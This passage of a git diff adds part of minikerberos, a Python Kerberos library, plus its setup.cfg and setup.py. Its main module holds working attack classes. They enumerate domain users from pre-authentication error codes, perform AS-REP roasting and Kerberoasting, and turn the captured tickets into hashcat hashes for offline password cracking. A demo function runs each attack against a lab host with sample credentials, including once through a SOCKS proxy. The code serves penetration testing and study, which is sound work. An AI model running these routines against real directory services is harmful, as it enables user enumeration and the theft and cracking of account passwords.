+from minikerberos.protocol.errors import KerberosErrorCode
+from minikerberos.protocol.constants import NAME_TYPE, MESSAGE_TYPE
+from minikerberos.network.selector import KerberosClientSocketSelector
+
+
+class KerberosEtypeTest:
+	# TODO: implement this
+	pass
+
+class KerberosUserEnum:
+	def __init__(self, target: KerberosTarget, spn: KerberosSPN):
+		self.target = target
+		self.spn = spn
+		self.ksoc = KerberosClientSocketSelector.select(target, True)
+
+
+	def construct_tgt_req(self):
+		now = now = datetime.datetime.now(datetime.timezone.utc)
+		kdc_req_body = {}
+		kdc_req_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','proxiable']))
+		kdc_req_body['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [self.spn.username]})
+		kdc_req_body['realm'] = self.spn.domain.upper()
+		kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': ['krbtgt', self.spn.domain.upper()]})
+		kdc_req_body['till']  = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		kdc_req_body['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		kdc_req_body['nonce'] = secrets.randbits(31)
+		kdc_req_body['etype'] = [2, 3, 16, 23, 17, 18] #we "support" all MS related enctypes
+		
+		pa_data_1 = {}
+		pa_data_1['padata-type'] = int(PADATA_TYPE('PA-PAC-REQUEST'))
+		pa_data_1['padata-value'] = PA_PAC_REQUEST({'include-pac': True}).dump()
+		
+		kdc_req = {}
+		kdc_req['pvno'] = krb5_pvno
+		kdc_req['msg-type'] = MESSAGE_TYPE.KRB_AS_REQ.value
+		kdc_req['padata'] = [pa_data_1]
+		kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body)
+		
+		return AS_REQ(kdc_req)
+
+	async def run(self):
+		req = self.construct_tgt_req()
+
+		rep = await self.ksoc.sendrecv(req.dump(), throw = False)
+
+		if rep.name != 'KRB_ERROR':	
+			# user doesnt need preauth, but it exists
+			return True
+			
+		elif rep.native['error-code'] != KerberosErrorCode.KDC_ERR_PREAUTH_REQUIRED.value:
+			# any other error means user doesnt exist
+			return False
+			
+		else:
+			# preauth needed, only if user exists
+			return True
+
+class APREPRoast:
+	def __init__(self, target: KerberosTarget):
+		self.target = target
+
+	async def run(self, cred: KerberosCredential, override_etype = [23]):
+		"""
+		override_etype: list : list of supported encryption types
+		"""
+		try:
+			kcomm = AIOKerberosClient(cred, self.target)
+			await kcomm.get_TGT(override_etype = override_etype, decrypt_tgt = False)
+			return TGTTicket2hashcat(kcomm.kerberos_TGT)
+		except Exception as e:
+			logger.debug('Error while roasting client %s/%s Reason: %s' % (cred.domain, cred.username, str(e)))
+			raise e
+
+class Kerberoast:
+	def __init__(self, target: KerberosTarget, cred: KerberosCredential):
+		self.target = target
+		self.cred = cred
+
+	async def run(self, spns, override_etype = [2, 3, 16, 23, 17, 18]):
+		try:
+			kcomm = AIOKerberosClient(self.cred, self.target)
+			await kcomm.get_TGT(override_etype = override_etype, decrypt_tgt = False)
+		except Exception as e:
+			logger.exception('a')
+			logger.debug('Error logging in! Reason: %s' % (str(e)))
+			raise e
+
+		results = []
+		for spn in spns:
+			try:
+				tgs, _, _ = await kcomm.get_TGS(spn, override_etype = override_etype)
+				results.append(TGSTicket2hashcat(tgs))
+			except Exception as e:
+				logger.exception('b')
+				logger.debug('Failed to get TGS ticket for user %s/%s/%s! Reason: %s' % (spn.domain, str(spn.service), spn.username, str(e)))
+				continue
+
+		return results
+
+async def main():
+	url = 'kerberos+pw://teas\\test:pass@10.10.10.2'
+	ku = KerberosClientURL.from_url(url)
+	target_user = 'asdadfadsf@TEST.corp'
+	target = ku.get_target()
+	print(target)
+	spn = KerberosSPN.from_user_email(target_user)
+	ue = KerberosUserEnum(target, spn)
+	res = await ue.run()
+	print(res)
+	
+	url = 'kerberos+pw://TEST\\asreptest:pass@10.10.10.2'
+	ku = KerberosClientURL.from_url(url)
+	target = ku.get_target()
+	cred = ku.get_creds()
+	arr = APREPRoast(target)
+	res = await arr.run(cred)
+	print(res)
+
+
+	target_user = 'srv_http@TEST.corp'
+	spn = KerberosSPN.from_user_email(target_user)
+	url = 'kerberos+pw://TEST\\victim:Passw0rd!1@10.10.10.2/?timeout=77'
+	ku = KerberosClientURL.from_url(url)
+	target = ku.get_target()
+	cred = ku.get_creds()
+	arr = Kerberoast(target, cred)
+	res = await arr.run([spn])
+	print(res)
+
+	target_user = 'srv_http@TEST.corp'
+	spn = KerberosSPN.from_user_email(target_user)
+	url = 'kerberos+pw://TEST\\victim:Passw0rd!1@10.10.10.2/?proxyhost=10.10.10.102&proxytype=socks5&proxyport=1080'
+	ku = KerberosClientURL.from_url(url)
+	target = ku.get_target()
+	print(target)
+	cred = ku.get_creds()
+	arr = Kerberoast(target, cred)
+	res = await arr.run([spn])
+	print(res)
+
+if __name__ == '__main__':
+	from asysocks import logger as alogger
+	from minikerberos.common.url import KerberosClientURL
+	import asyncio
+	alogger.setLevel(2)
+	asyncio.run(main())
+	
\ No newline at end of file
diff --git a/setup.cfg b/setup.cfg
new file mode 100644
index 0000000..8bfd5a1
--- /dev/null
+++ b/setup.cfg
@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+
diff --git a/setup.py b/setup.py
new file mode 100644
index 0000000..3ff2806
--- /dev/null
+++ b/setup.py
@@ -0,0 +1,62 @@
+from setuptools import setup, find_packages
+import re
+
+VERSIONFILE="minikerberos/_version.py"
+verstrline = open(VERSIONFILE, "rt").read()
+VSRE = r"^__version__ = ['\"]([^'\"]*)['\"]"
+mo = re.search(VSRE, verstrline, re.M)
+if mo:
+    verstr = mo.group(1)
+else:
+    raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,))
+
+setup(
+	# Application name:
+	name="minikerberos",
+
+	# Version number (initial):
+	version=verstr,
+
+	# Application author details:
+	author="Tamas Jos",
+	author_email="info@skelsec.com",
+
+	# Packages
+	packages=find_packages(),
+
+	# Include additional files into the package
+	include_package_data=True,
+
+
+	# Details
+	url="https://github.com/skelsec/minikerberos",
+
+	zip_safe=True,
+	#
+	# license="LICENSE.txt",
+	description="Kerberos manipulation library in pure Python",
+
+	# long_description=open("README.txt").read(),
+	python_requires='>=3.6',
+	classifiers=(
+		"Programming Language :: Python :: 3.6",
+		"License :: OSI Approved :: MIT License",
+		"Operating System :: OS Independent",
+	),
+	install_requires=[
+		'asn1crypto>=1.3.0',
+		'asysocks>=0.0.11',
+	],
+
+	entry_points={
+		'console_scripts': [
+			'ccacheedit = minikerberos.examples.ccache_editor:main',
+			'kirbi2ccache = minikerberos.examples.kirbi2ccache:main',
+			'ccache2kirbi = minikerberos.examples.ccache2kirbi:main',
+			'ccacheroast = minikerberos.examples.ccacheroast:main',
+			'getTGT = minikerberos.examples.getTGT:main',
+			'getTGS = minikerberos.examples.getTGS:main',
+			'getS4U2proxy = minikerberos.examples.getS4U2proxy:main',
+		],
+	}
+)